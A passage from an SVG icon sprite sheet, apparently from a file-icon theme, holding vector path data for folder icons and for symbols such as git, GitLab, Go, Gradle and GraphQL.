3.601-1.05.118-1.603-.289-1.74-.44-.145-.16-.166-.167-.22-.137-.088.049-.033.19 0 .274.082.214.42.594.995.782.506.166 1.739.258 3.23-.319 1.669-.646 2.972-2.443 2.59-3.944zm-7.103 7.783a2.2 2.2 0 0 1-.065 1.413 2.405 2.405 0 0 1-.453.704c-.5.546-1.198.752-1.497.579-.323-.188-.161-.956.418-1.568.623-.66 1.52-1.083 1.52-1.083l-.002-.002.079-.043z" fill="#ec407a" fill-rule="nonzero" stroke="#ec407a" stroke-width=".5199012000000001"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-scripts" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#546e7a" fill-rule="nonzero"/><path d="M18.466 20.241c.69 0 1.259-.568 1.259-1.258v-8.18H15.32a.632.632 0 0 0-.63.63v6.292h-1.887v-6.922c0-1.036.852-1.888 1.888-1.888h6.921c1.036 0 1.888.852 1.888 1.888v.63h-2.517v8.18a1.896 1.896 0 0 1-1.888 1.887h-6.292a1.896 1.896 0 0 1-1.888-1.888v-.629h6.293c0 .69.568 1.258 1.258 1.258z" fill-rule="nonzero" fill="#cfd8dc"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-scripts-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#546e7a" fill-rule="nonzero"/><path d="M18.466 20.241c.69 0 1.259-.568 1.259-1.258v-8.18H15.32a.632.632 0 0 0-.63.63v6.292h-1.887v-6.922c0-1.036.852-1.888 1.888-1.888h6.921c1.036 0 1.888.852 1.888 1.888v.63h-2.517v8.18a1.896 1.896 0 0 1-1.888 1.887h-6.292a1.896 1.896 0 0 1-1.888-1.888v-.629h6.293c0 .69.568 1.258 1.258 1.258z" fill-rule="nonzero" fill="#cfd8dc"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-src" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#4caf50" fill-rule="nonzero"/><g fill="#c8e6c9" transform="translate(2.065 -.225) scale(.70678)"><path d="M19.146 30.989a.902.902 0 0 1-.207-.025 1.045 1.045 0 0 1-.726-1.213l2.709-14.431c.049-.279.209-.525.444-.683a.891.891 0 0 1 .7-.122c.519.152.837.684.727 1.213L20.077 30.16a1.032 1.032 0 0 1-.442.681.895.895 0 0 1-.489.148zM24.578 28.944h-.068a.932.932 0 0 1-.668-.377 1.104 1.104 0 0 1 .1-1.419l4.658-4.553-4.638-4.239a1.105 1.105 0 0 1-.141-1.416.938.938 0 0 1 .661-.4.9.9 0 0 1 .709.237l5.47 5c.386.372.448.974.144 1.416a1.05 1.05 0 0 1-.142.163l-5.447 5.324a.913.913 0 0 1-.638.264zM16.423 28.947a.917.917 0 0 1-.639-.267l-5.452-5.327a.874.874 0 0 1-.132-.153 1.097 1.097 0 0 1 .141-1.414l5.471-5a.882.882 0 0 1 .7-.238.939.939 0 0 1 .665.4 1.104 1.104 0 0 1-.14 1.417L12.4 22.6l4.659 4.551c.377.382.42.988.1 1.419a.928.928 0 0 1-.669.377z" fill-rule="nonzero"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-src-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#4caf50"/><g fill="#c8e6c9" fill-rule="evenodd" transform="translate(2.064 -.224) scale(.70678)"><path d="M19.146 30.989a.902.902 0 0 1-.207-.025 1.045 1.045 0 0 1-.726-1.213l2.709-14.431c.049-.279.209-.525.444-.683a.891.891 0 0 1 .7-.122c.519.152.837.684.727 1.213L20.077 30.16a1.032 1.032 0 0 1-.442.681.895.895 0 0 1-.489.148zM24.578 28.944h-.068a.932.932 0 0 1-.668-.377 1.104 1.104 0 0 1 .1-1.419l4.658-4.553-4.638-4.239a1.105 1.105 0 0 1-.141-1.416.938.938 0 0 1 .661-.4.9.9 0 0 1 .709.237l5.47 5c.386.372.448.974.144 1.416a1.05 1.05 0 0 1-.142.163l-5.447 5.324a.913.913 0 0 1-.638.264zM16.423 28.947a.917.917 0 0 1-.639-.267l-5.452-5.327a.874.874 0 0 1-.132-.153 1.097 1.097 0 0 1 .141-1.414l5.471-5a.882.882 0 0 1 .7-.238.939.939 0 0 1 .665.4 1.104 1.104 0 0 1-.14 1.417L12.4 22.6l4.659 4.551c.377.382.42.988.1 1.419a.928.928 0 0 1-.669.377z" fill-rule="nonzero"/></g></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-test" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#1de9b6" fill-rule="nonzero"/><path d="M14 8.097v1.39h.695v9.732A2.794 2.794 0 0 0 17.475 22a2.794 2.794 0 0 0 2.781-2.78V9.486h.695v-1.39H14m2.78 9.732c-.417 0-.695-.278-.695-.695 0-.417.278-.695.696-.695.417 0 .695.278.695.695 0 .417-.278.695-.695.695m1.39-2.78c-.417 0-.695-.278-.695-.696 0-.417.278-.695.695-.695.417 0 .695.278.695.695 0 .418-.278.696-.695.696m.695-3.476h-2.78V9.487h2.78v2.086z" fill="#00897b" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-test-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#1de9b6" fill-rule="nonzero"/><path d="M14 8.097v1.39h.695v9.732A2.794 2.794 0 0 0 17.475 22a2.794 2.794 0 0 0 2.781-2.78V9.486h.695v-1.39H14m2.78 9.732c-.417 0-.695-.278-.695-.695 0-.417.278-.695.696-.695.417 0 .695.278.695.695 0 .417-.278.695-.695.695m1.39-2.78c-.417 0-.695-.278-.695-.696 0-.417.278-.695.695-.695.417 0 .695.278.695.695 0 .418-.278.696-.695.696m.695-3.476h-2.78V9.487h2.78v2.086z" fill="#00897b" fill-rule="nonzero"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-tools" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#1e88e5" fill-rule="nonzero"/><path d="M21.043 15.266a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-2.141-2.855a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-3.569 0a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-2.141 2.855a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m3.925-6.424a6.424 6.424 0 0 0-6.423 6.424 6.424 6.424 0 0 0 6.423 6.424 1.07 1.07 0 0 0 1.071-1.07c0-.28-.107-.53-.278-.715a1.105 1.105 0 0 1-.271-.713 1.07 1.07 0 0 1 1.07-1.071h1.263a3.569 3.569 0 0 0 3.57-3.569c0-3.154-2.877-5.71-6.425-5.71z" fill="#bbdefb" stroke-width=".714"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-tools-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#1e88e5"/><path d="M21.043 15.266a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-2.141-2.855a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-3.569 0a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-2.141 2.855a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m3.925-6.424a6.424 6.424 0 0 0-6.423 6.424 6.424 6.424 0 0 0 6.423 6.424 1.07 1.07 0 0 0 1.071-1.07c0-.28-.107-.53-.278-.715a1.105 1.105 0 0 1-.271-.713 1.07 1.07 0 0 1 1.07-1.071h1.263a3.569 3.569 0 0 0 3.57-3.569c0-3.154-2.877-5.71-6.425-5.71z" fill="#bbdefb" stroke-width=".714"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-views" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ff8a65" fill-rule="nonzero"/><path d="M12.487 21.868L11.384 9.5H23.5l-1.104 12.366-4.961 1.375-4.948-1.373zm4.464-3.2l-3.926-2.36v-.855l3.926-2.361v1.323l-2.504 1.465 2.504 1.465v1.323zm.982-.001v-1.323l2.522-1.464-2.522-1.464v-1.323l3.926 2.35v.874l-3.926 2.35z" fill="#e44d26"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-views-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ff8a65" fill-rule="nonzero"/><path d="M12.487 21.868L11.384 9.5H23.5l-1.104 12.366-4.961 1.375-4.948-1.373zm4.464-3.2l-3.926-2.36v-.855l3.926-2.361v1.323l-2.504 1.465 2.504 1.465v1.323zm.982-.001v-1.323l2.522-1.464-2.522-1.464v-1.323l3.926 2.35v.874l-3.926 2.35z" fill="#e44d26"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-vscode" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#42a5f5" fill-rule="nonzero"/><path d="M20.811 8.52l-5.988 5.506-3.346-2.522-1.383.805 3.298 3.03-3.298 3.032 1.383.807 3.346-2.522 5.988 5.503 2.921-1.419V9.94zm0 3.622v6.396l-4.245-3.198z" fill="#bbdefb" stroke-width=".974"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-vscode-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#42a5f5" fill-rule="nonzero"/><path d="M20.81 8.52l-5.988 5.506-3.346-2.522-1.384.805 3.3 3.03-3.3 3.032 1.384.807 3.346-2.522 5.988 5.503 2.921-1.419V9.94zm0 3.621v6.397l-4.245-3.198z" fill="#bbdefb" stroke-width=".974"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-vue" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#009688" fill-rule="nonzero"/><g transform="translate(8.459 6.362) scale(.69572)"><path d="M1.821 4.15l10.21 17.618L22.239 4.235v-.084h-7.692l-2.434 4.178-2.422-4.178z" fill="#41b883"/><path d="M5.937 4.15l6.152 10.616 6.18-10.617h-3.722l-2.434 4.179-2.422-4.179z" fill="#35495e"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-vue-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#009688"/><g transform="translate(8.458 6.362) scale(.69572)"><path d="M1.821 4.15l10.21 17.618L22.239 4.235v-.084h-7.692l-2.434 4.178-2.422-4.178z" fill="#41b883"/><path d="M5.937 4.15l6.152 10.616 6.18-10.617h-3.722l-2.434 4.179-2.422-4.179z" fill="#35495e"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-webpack" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#03a9f4" fill-rule="nonzero"/><g transform="translate(9.192 7.48) scale(.66328)"><path d="M19.376 15.988l-7.708 4.45-7.709-4.45v-8.9l7.709-4.451 7.708 4.45z" fill="#fff" fill-opacity=".785"/><path d="M12.286 1.98c-.21 0-.41.059-.57.179l-7.9 4.44c-.32.17-.53.5-.53.88v9c0 .38.21.711.53.881l7.9 4.44c.16.12.36.18.57.18s.41-.06.57-.18l7.9-4.44c.32-.17.53-.5.53-.88v-9c0-.38-.21-.712-.53-.882l-7.9-4.44a.945.945 0 0 0-.57-.179zm0 2.15l7 3.94v2.103h-.016v5.177h.016v.54l-7 3.939-7-3.94V8.07zm0 2.08l-4.9 2.83 4.9 2.83 4.9-2.83zm-5 5.08v3.58l4 2.309v-3.58zm10 0l-4 2.308v3.58l4-2.308z" fill="#8ed6fb"/><path d="M12.286 6.21l-4.9 2.83 4.9 2.83 4.9-2.83zm-5 5.08v3.58l4 2.309v-3.58zm10 0l-4 2.308v3.58l4-2.308z" fill="#1c78c0"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-webpack-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#03a9f4"/><g transform="translate(9.193 7.48) scale(.66328)"><path d="M19.376 15.988l-7.708 4.45-7.709-4.45v-8.9l7.709-4.451 7.708 4.45z" fill="#fff" fill-opacity=".785"/><path d="M12.286 1.98c-.21 0-.41.059-.57.179l-7.9 4.44c-.32.17-.53.5-.53.88v9c0 .38.21.711.53.881l7.9 4.44c.16.12.36.18.57.18s.41-.06.57-.18l7.9-4.44c.32-.17.53-.5.53-.88v-9c0-.38-.21-.712-.53-.882l-7.9-4.44a.945.945 0 0 0-.57-.179zm0 2.15l7 3.94v2.103h-.016v5.177h.016v.54l-7 3.939-7-3.94V8.07zm0 2.08l-4.9 2.83 4.9 2.83 4.9-2.83zm-5 5.08v3.58l4 2.309v-3.58zm10 0l-4 2.308v3.58l4-2.308z" fill="#8ed6fb"/><path d="M12.286 6.21l-4.9 2.83 4.9 2.83 4.9-2.83zm-5 5.08v3.58l4 2.309v-3.58zm10 0l-4 2.308v3.58l4-2.308z" fill="#1c78c0"/></g></symbol><symbol viewBox="0 0 24 24" id="font" xmlns="http://www.w3.org/2000/svg"><path d="M9.62 12L12 5.67 14.37 12M11 3L5.5 17h2.25l1.12-3h6.25l1.13 3h2.25L13 3h-2z" fill="#f44336"/></symbol><symbol viewBox="0 0 500 500" id="fsharp" xmlns="http://www.w3.org/2000/svg"><path d="M235.906 36.66L21.963 250.601l213.943 213.943v-84.36L106.209 250.487l129.697-129.696z" fill="#378bba" stroke-width="14.706"/><path d="M235.906 156.614l-93.622 93.62 93.622 93.622z" fill="#378bba" stroke-width="15.006"/><path d="M263.417 36.64L477.36 250.583 263.417 464.526v-84.36l129.696-129.697-129.696-129.696z" fill="#30b9db" stroke-width="14.706"/></symbol><symbol viewBox="0 0 152.99 160.01" id="fusebox" xmlns="http://www.w3.org/2000/svg"><defs id="fkdefs4"><style id="fkstyle2">.fkcls-1{fill:#fff}.fkcls-2{fill:#515151}.fkcls-3{fill:#1d79bf}.fkcls-4{fill:#383838}</style></defs><title id="fktitle6">Asset 3</title><g id="fkLayer_2" data-name="Layer 2" transform="matrix(.87285 0 0 .87285 10.17 10.175)"><g id="fkFuse_Box" data-name="Fuse Box"><g id="fkLOGO"><path class="fkcls-1" id="fkpolygon8" fill="#fff" d="M76.56 2.19l74.22 24.93-7.7 87.77-65.41 42.66-69.79-43.93-5.7-86.13z"/><path class="fkcls-2" d="M77.69 160L5.87 114.81 0 26 76.55 0 153 25.67l-7.94 90.4zM9.88 112.43l67.77 42.66 63.45-41.39 7.47-85.13-72-24.18L4.36 28.95z" id="fkpath10" fill="#515151"/><path class="fkcls-3" id="fkpolygon12" fill="#1d79bf" d="M76.4 148.8V61.68l66.93-29.82-5.99 78.77z"/><path id="fkF" class="fkcls-4" fill="#383838" d="M76.4 148.8l-60.35-37.39L9.63 31.8 76.4 61.68z"/><path class="fkcls-1" d="M25.58 52.73l.54 15.93 37.35 18.18.12 14.69-37-18.21 1.64 37.1-14.56-9-5.05-80.55 67.79 30.82v15.46z" id="fkpath15" fill="#fff"/><path class="fkcls-1" d="M135.91 90.77c-.08 13.12-6.33 26.59-16.77 33.12l-42.8 27.93V61.71l42.27-18.84c5.16-2.41 9.51-1.43 12.4 3.11 1.9 3 2.89 7.23 2.86 12.21A35.69 35.69 0 0 1 129.34 76c4.29 2 6.66 6.55 6.57 14.77zM123 63.76c0-4.64-2-6.93-4.92-5.45l-29 14.48L89 90l29.44-15.59c2.5-1.32 4.56-5.91 4.56-10.65zM125.15 96c0-5.71-2.42-8.24-6.55-5.93L89 106.64v19.58l29.34-17.46c4.43-2.64 6.79-7.27 6.81-12.76z" id="fkpath17" fill="#fff"/><path id="fkTOP" class="fkcls-4" fill="#383838" d="M76.4 8.82L9.71 31.77l109.77 2.38-84.02 9.21L76.4 61.68l20.76-9.25-27.73-1.37 49.78-8.46 24.12-10.74z"/></g></g></g></symbol><symbol viewBox="0 0 24 24" id="git" xmlns="http://www.w3.org/2000/svg"><path d="M2.6 10.59L8.38 4.8l1.69 1.7c-.24.85.15 1.78.93 2.23v5.54c-.6.34-1 .99-1 1.73a2 2 0 0 0 2 2 2 2 0 0 0 2-2c0-.74-.4-1.39-1-1.73V9.41l2.07 2.09c-.07.15-.07.32-.07.5a2 2 0 0 0 2 2 2 2 0 0 0 2-2 2 2 0 0 0-2-2c-.18 0-.35 0-.5.07L13.93 7.5a1.98 1.98 0 0 0-1.15-2.34c-.43-.16-.88-.2-1.28-.09L9.8 3.38l.79-.78c.78-.79 2.04-.79 2.82 0l7.99 7.99c.79.78.79 2.04 0 2.82l-7.99 7.99c-.78.79-2.04.79-2.82 0L2.6 13.41c-.79-.78-.79-2.04 0-2.82z" fill="#e64a19"/></symbol><symbol viewBox="0 0 494 455" id="gitlab" xmlns="http://www.w3.org/2000/svg"><title>logo</title><defs><path id="fma" d="M0 1173.3h2000V0H0v1173.3z"/></defs><g transform="matrix(.88256 0 0 -.88256 -286.767 742.766)" fill="none" fill-rule="evenodd"><mask id="fmb" fill="#fff"><use width="100%" height="100%" xlink:href="#fma"/></mask><g mask="url(#fmb)"><g transform="translate(358.67 358.67)"><path d="M492.532 195.445l-27.559 84.815-54.617 168.1c-2.81 8.648-15.045 8.648-17.856 0l-54.619-168.1h-181.37l-54.62 168.1c-2.81 8.648-15.045 8.648-17.856 0l-54.617-168.1-27.557-84.815a18.775 18.775 0 0 1 6.82-20.992l238.51-173.29 238.51 173.29a18.777 18.777 0 0 1 6.82 20.992" fill="#fc6d26"/><path d="M247.2 1.16l90.684 279.1h-181.37z" fill="#e24329"/><path d="M247.201 1.16l-90.684 279.09H29.427z" fill="#fc6d26"/><path d="M29.422 280.256L1.862 195.44a18.774 18.774 0 0 1 6.822-20.991L247.194 1.16z" fill="#fca326"/><path d="M29.422 280.26h127.09l-54.619 168.1c-2.81 8.65-15.047 8.65-17.856 0z" fill="#e24329"/><path d="M247.2 1.16l90.684 279.09h127.09z" fill="#fc6d26"/><path d="M464.98 280.256l27.559-84.815a18.774 18.774 0 0 0-6.821-20.991L247.208 1.16z" fill="#fca326"/><path d="M464.97 280.26H337.88l54.619 168.1c2.81 8.65 15.047 8.65 17.856 0z" fill="#e24329"/></g></g></g></symbol><symbol viewBox="0 0 24 24" id="go" xmlns="http://www.w3.org/2000/svg"><path d="M10.575 1.695c-2.634 0-4.756 2.453-4.756 5.502v4.6l-.027-.003v4.71c0 3.05 2.123 5.502 4.757 5.502h2.286c2.634 0 4.757-2.453 4.757-5.502v-4.6a5.1 5.1 0 0 0 .026.003v-4.71c0-3.049-2.122-5.502-4.756-5.502h-2.287z" fill="#73cddc"/><rect width="2.289" height="3.335" x="-1.178" y="6.092" ry="1.125" transform="matrix(.4849 -.87457 .85979 .51065 0 0)" fill="#73cddc"/><rect width="2.297" height="3.39" x="10.261" y="-15.076" ry="1.143" transform="matrix(.44646 .8948 -.89204 .45195 0 0)" fill="#73cddc"/><circle cx="9.267" cy="5.13" r="2.054" fill="#fff" stroke="#5e5d5b" stroke-width=".1"/><circle cx="14.214" cy="5.116" r="2.054" fill="#fff" stroke="#5e5d5b" stroke-width=".1"/><ellipse cx="8.039" cy="5.051" rx=".792" ry=".901" fill="#030d18"/><path d="M11.792 9.556l.763.138a.403.689 0 0 1 .008.138.403.689 0 0 1-.402.69.403.689 0 0 1-.404-.69.403.689 0 0 1 .035-.276z" fill="#fff" stroke="#fff" stroke-width=".155"/><ellipse cx="8.51" cy="5.365" rx=".138" ry=".166" fill="#fff"/><ellipse cx="12.945" cy="5.189" rx=".792" ry=".901" fill="#030d18"/><ellipse cx="13.414" cy="5.446" rx=".138" ry=".166" fill="#fff"/><ellipse cx="-12.982" cy="-3.409" rx=".708" ry="1.026" transform="rotate(-129.403)" fill="#f6d2a1" stroke-width=".4"/><path d="M11.772 9.553l-.757.135a.4.672 0 0 0-.008.135.4.672 0 0 0 .4.672.4.672 0 0 0 .4-.672.4.672 0 0 0-.035-.27z" fill="#fff" stroke="#fff" stroke-width=".153"/><ellipse cx="1.841" cy="-21.563" rx=".707" ry="1.026" transform="scale(1 -1) rotate(50.597)" fill="#f6d2a1" stroke-width=".4"/><ellipse cx="-17.281" cy="-21.784" rx=".864" ry="1.27" transform="matrix(.3054 -.95222 -.97065 -.2405 0 0)" fill="#f6d2a1" stroke-width=".4"/><ellipse cx="22.885" cy="2.587" rx=".864" ry="1.27" transform="matrix(.22652 .974 .95652 -.29167 0 0)" fill="#f6d2a1" stroke-width=".4"/><path d="M10.708 8.392a.594.594 0 0 0-.594.597v.115c0 .331.264.598.594.598h.386a.973.772 0 0 1 .697-.235.973.772 0 0 1 .698.235h.334c.33 0 .594-.267.594-.598V8.99a.595.595 0 0 0-.594-.597h-2.115z" fill="#f6d2a1" stroke="#657075" stroke-width=".1"/><ellipse cx="11.734" cy="8.203" rx="1.208" ry=".68" fill="#030d18" stroke="#fff" stroke-width=".162"/></symbol><symbol viewBox="0 0 24 24" id="gradle" xmlns="http://www.w3.org/2000/svg"><path d="M21.718 5.503c-.731-1.315-2.04-1.708-2.963-1.727-1.133-.023-2.065.605-1.888 1.017.037.088.25.55.38.741.19.275.527.064.646 0 .353-.187.73-.248 1.16-.198.409.048.954.3 1.319 1.001.859 1.652-1.794 5.05-5.114 2.697-3.32-2.353-6.548-1.574-8.01-1.1-1.462.475-2.135.952-1.556 2.055.785 1.498.524 1.038 1.285 2.28 1.21 1.97 3.856-.908 3.856-.908-1.972 2.906-3.662 2.204-4.31 1.188a15.864 15.864 0 0 1-1.038-1.97c-4.993 1.76-3.642 9.534-3.642 9.534h2.48c.632-2.862 2.892-2.757 3.28 0h1.892c1.673-5.59 5.914 0 5.914 0h2.466c-.69-3.812 1.388-5.01 2.697-7.246 1.31-2.235 2.551-4.969 1.146-7.364zm-6.362 7.362c-1.304-.426-.837-1.723-.837-1.723s1.139.368 2.68.87c-.09.403-.856 1.175-1.843.853z" fill="#0097a7" stroke-width=".47"/></symbol><symbol preserveAspectRatio="xMidYMid" viewBox="0 0 300 300" id="graphcool" xmlns="http://www.w3.org/2000/svg"><path d="M246.886 107.727c-12.237-6.892-27.616 2.1-30.081 3.646l-52.834 29.965c-7.8-6.196-18.914-5.933-26.412.625-7.499 6.558-9.24 17.537-4.14 26.094 5.102 8.556 15.588 12.246 24.923 8.768 9.335-3.478 14.852-13.129 13.111-22.937l52.688-29.9.321-.196c3.464-2.188 11.5-5.462 15.256-3.34 2.706 1.524 4.252 6.629 4.376 14.148h-.066v66.092a17.313 17.313 0 0 1-8.635 14.95l-75.739 43.755a17.312 17.312 0 0 1-17.261 0l-75.74-43.756a17.312 17.312 0 0 1-8.634-14.95V113.22c.01-6.165 3.3-11.86 8.634-14.95l68.549-39.562c6.522 7.482 17.451 9.25 26 4.206s12.283-15.468 8.886-24.794c-3.397-9.327-12.962-14.904-22.751-13.27-9.79 1.636-17.022 10.02-17.204 19.944L59.397 85.632a31.932 31.932 0 0 0-15.978 27.588v87.454a31.933 31.933 0 0 0 15.927 27.602l75.74 43.755a31.934 31.934 0 0 0 31.846 0l75.74-43.755a31.933 31.933 0 0 0 15.927-27.58V137.12h.05c.373-14.913-3.616-24.794-11.762-29.389z" fill="#27ae60" stroke="#27ae60" stroke-width="7.883622079999999"/></symbol><symbol viewBox="0 0 400 400" id="graphql" xmlns="http://www.w3.org/2000/svg"><path d="M67.008 293.022l-13.143-7.588L200.282 31.839l13.143 7.588z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M50.855 265.174H343.69v15.177H50.855z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M203.122 358.269L56.649 273.7l7.589-13.143 146.472 84.568zm127.24-220.407L183.889 53.293l7.589-13.143 146.472 84.568z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M64.278 137.803l-7.588-13.142 146.472-84.568 7.588 13.143z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M327.661 293.025L181.244 39.43l13.143-7.589 146.417 253.596zM62.466 114.597h15.176v169.136H62.466zm254.528 0h15.176v169.136h-15.176z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M200.538 351.845l-6.628-11.481L321.3 266.812l6.629 11.48z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M352.284 288.67c-8.777 15.268-28.342 20.48-43.61 11.703-15.268-8.777-20.48-28.342-11.703-43.61 8.777-15.268 28.342-20.48 43.61-11.703 15.36 8.869 20.57 28.342 11.703 43.61M97.574 141.567c-8.778 15.268-28.343 20.48-43.61 11.703-15.269-8.777-20.48-28.342-11.703-43.61 8.777-15.268 28.342-20.48 43.61-11.703 15.268 8.869 20.479 28.342 11.702 43.61M42.353 288.67c-8.777-15.268-3.566-34.741 11.702-43.61 15.268-8.776 34.741-3.565 43.61 11.703 8.776 15.268 3.565 34.741-11.703 43.61-15.36 8.776-34.833 3.565-43.61-11.703m254.71-147.103c-8.776-15.268-3.565-34.741 11.703-43.61 15.268-8.776 34.742-3.565 43.61 11.703 8.777 15.268 3.566 34.741-11.702 43.61-15.268 8.776-34.833 3.565-43.61-11.703m-99.745 236.608c-17.645 0-31.907-14.262-31.907-31.907s14.262-31.907 31.907-31.907 31.907 14.262 